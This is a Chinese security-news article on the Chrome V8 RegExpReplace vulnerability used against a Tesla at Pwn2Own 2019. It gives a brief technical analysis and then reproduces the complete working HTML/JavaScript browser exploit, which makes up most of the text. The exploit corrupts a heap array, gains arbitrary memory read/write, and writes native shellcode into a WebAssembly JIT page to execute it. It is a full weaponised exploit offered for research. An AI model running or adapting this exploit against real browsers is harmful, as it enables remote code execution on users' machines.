在 Pwn2Own 2019 大会上,研究人员 Richard Zhu 和 Amat Cama (Team Fluoroacetate) 利用 Chrome 浏览器v8引擎漏洞攻破了特斯拉。本文对该漏洞进行了简要分析,并提供利用供研究之用。

简要分析

    V8_WARN_UNUSED_RESULT MaybeHandle<String> RegExpReplace( Isolate* isolate, Handle<JSRegExp> regexp, Handle<String> string, Handle<Object> replace_obj) { // Functional fast-paths are dispatched directly by replace builtin. DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, regexp)); DCHECK(!replace_obj->IsCallable()); Factory* factory = isolate->factory(); const int flags = regexp->GetFlags(); const bool global = (flags & JSRegExp::kGlobal) != 0; const bool sticky = (flags & JSRegExp::kSticky) != 0; Handle<String> replace; ASSIGN_RETURN_ON_EXCEPTION(isolate, replace, Object::ToString(isolate, replace_obj), String); replace = String::Flatten(isolate, replace);

    RegExpReplace期望传入的regexp对象是未修改的正则表达式,但对Object::ToString的调用更改了该正则表达式的类型。这就导致OOB 读取和写入regexp.lastIndex。

    为了利用这个漏洞,研究人员在KeyAccumulator::GetKeys中覆写了keys对象的映射。它会引发堆溢出,从而破坏堆上的数组。这就提供了堆 r/w,从而破坏了 arb r/w 的 TypedArray。之后研究人员用 shellcode 覆写了 JIT 代码。

    利用

      <!DOCTYPE html><htmllang="en"><head><metacharset="utf-8"/><script>functionprint(x){ document.write("<p><font size=50>"+x+"</font></p>"); }functiongo(){functionljust(x, n, c){ while (x.length < n) x = c+x; return x; }functionrjust(x, n, c){ x += c.repeat(n); return x; }functionclone64(x){ return [x[0],x[1]]; }functiontohex64(x){ return"0x"+ljust(x[1].toString(16),8,"0")+ljust(x[0].toString(16),8,"0"); }var CONVERSION = newArrayBuffer(8); var CONVERSION_U32 = newUint32Array(CONVERSION); var CONVERSION_F64 = newFloat64Array(CONVERSION);functionu32_to_f64(u){ CONVERSION_U32[0] = u[0]; CONVERSION_U32[1] = u[1]; return CONVERSION_F64[0]; }functionf64_to_u32(f, b=0){ CONVERSION_F64[0] = f; if (b) return CONVERSION_U32; returnnewUint32Array(CONVERSION_U32); }functionfail(msg){ print(msg); document.location.reload(true); throw msg; }functiongc(){ for (let i=0;i<0x10;i++) newArrayBuffer(0x800000); }wasm_bytes = newUint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]);wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {imports: {imported_func: function(x){ return x; }}});wasm_func = wasm_inst.exports.exported_func;functionto_dict(obj){ obj.__defineGetter__("x",()=>2); obj.__defineGetter__("x",()=>2);}rgx = null;dbl_arr = [1.1, 2.2, 3.3, 4.4];o = {};o.__defineGetter__("length", ()=>{ rgx = newRegExp(/AAAAAAAA/y); return2;});o[0] = "aaaa";o.__defineGetter__(1, ()=>{ for (let i=0;i<8;i++) dbl_arr.push(5.5); let cnt = 0; rgx[Symbol.replace]("AAAAAAAA", { toString: ()=>{ cnt++; if (cnt == 2){ rgx.lastIndex = {valueOf: ()=>{ to_dict(rgx); gc(); return0; }}; } return"BBBB$"; } }); return"bbbb";});p = newProxy({}, { ownKeys: function(target){ return o; }, getOwnPropertyDescriptor(target, prop) { return { configurable: true, enumerable: true, value: 5 }; }});Object.keys(p);if (dbl_arr[0] == 1.1){ fail("failed to corrupt dbl_arr");}for (let i=0;i<0x800;i++) dbl_arr.push(0.0);let obj_arr_elem_off = -1;let obj_arr_tag = 0xbabe;let obj_arr_tag_smi_float = u32_to_f64([0, obj_arr_tag]);let obj_arr = null;for (let tries=1;tries<=4;tries++){ obj_arr = newArray(0x80).fill("x"); for (let i=0;i<4;i++) obj_arr[i] = obj_arr_tag; for (let i=0;i<dbl_arr.length;i++){ if (dbl_arr[i] == obj_arr_tag_smi_float && dbl_arr[i+1] == obj_arr_tag_smi_float && dbl_arr[i+2] == obj_arr_tag_smi_float && dbl_arr[i+3] == obj_arr_tag_smi_float){ obj_arr_elem_off = i; break; } } if (obj_arr_elem_off >= 0){ break; }}if (obj_arr_elem_off < 0){ fail("failed to find obj_arr_elem_off");}let obj_arr_off = obj_arr_elem_off - 8;functionleak_addr_float(x){ obj_arr[0] = x; return dbl_arr[obj_arr_elem_off];}functionleak_addr(x){ return f64_to_u32(leak_addr_float(x));}let obj_arr_elem_addr = f64_to_u32(dbl_arr[obj_arr_elem_off - 6]);let dbl_arr_elem_addr = clone64(obj_arr_elem_addr); dbl_arr_elem_addr[0] -= (obj_arr_elem_off * 8 - 0x10);let obj_arr_addr = clone64(obj_arr_elem_addr); obj_arr_addr[0] -= 0x30;functiondbl_arr_idx_for_addr(x){ v = clone64(x); v[0] -= dbl_arr_elem_addr[0]; if (v[0] < 0){ v[0] += 0x100000000; v[1] -= 1; } return v[0] / 8;}let ua = newUint32Array(0x1000);ua[0] = 0x41414141;ua[1] = 0x42424242;let ua_addr = leak_addr(ua);let tmp, tmp_idx;tmp_idx = dbl_arr_idx_for_addr(ua_addr);tmp = f64_to_u32(dbl_arr[tmp_idx+2]);tmp_idx = dbl_arr_idx_for_addr(tmp);let ua_store_idx = tmp_idx + 3;functionr32(addr){ dbl_arr[ua_store_idx] = u32_to_f64(addr); return ua[0];}functionr64(addr){ dbl_arr[ua_store_idx] = u32_to_f64(addr); return [ua[0], ua[1]];}functionw32(addr, v){ dbl_arr[ua_store_idx] = u32_to_f64(addr); ua[0] = v;}functionw64(addr, v){ dbl_arr[ua_store_idx] = u32_to_f64(addr); ua[0] = v[0]; ua[1] = v[1];}tmp = leak_addr(wasm_func);tmp[0] += 0x18 - 1; tmp = r64(tmp);tmp[0] += 8 - 1; tmp = r64(tmp);let tmp_clone = clone64(tmp);tmp[0] += 0x10 - 1; tmp = r64(tmp);tmp[0] += 0xe8 - 1;let jit_page = r64(tmp);tmp = tmp_clone; tmp[0] += 0x1c - 1;let jit_off = r32(tmp);let jit_addr = clone64(jit_page);jit_addr[0] += jit_off;let jit_ptr = clone64(jit_addr);let sc = [0x314800eb, 0xff3148c0, 0x48f63148, 0x3148d231, 0xec8148c9, 0x100, 0x48c03148, 0x143d8d, 0x3fb00000, 0x8348050f, 0x87500f8, 0xc48148, 0xc3000001, 0x622ffeeb, 0x732f6e69, 0x90909068];for (let i = 0; i < sc.length;i++){ w32(jit_ptr, sc[i]); jit_ptr[0] += 4;}wasm_func();let jit_ptr2 = clone64(jit_addr);jit_ptr2[0] += sc.length * 4;let leaked = "";for (let i = sc.length; i < sc.length + 0x40; i++){ let tmp = r32(jit_ptr2); if (tmp != 0){ for (let j = 0; j < 4; j++){ if ((tmp & 0xff) != 0) leaked += String.fromCharCode(tmp & 0xff); tmp >>= 8; } } jit_ptr2[0] += 4;}while (1){ alert("pwned by fluoroacetate "+leaked); prompt("pwned by fluoroacetate", leaked);}}functionmain(){ try { go(); } catch(e){ alert(e); }}</script></head><bodyonload = "main()"></body></html>

      原文链接

      https://bugs.chromium.org/p/chromium/issues/detail?id=944971#c1

      声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。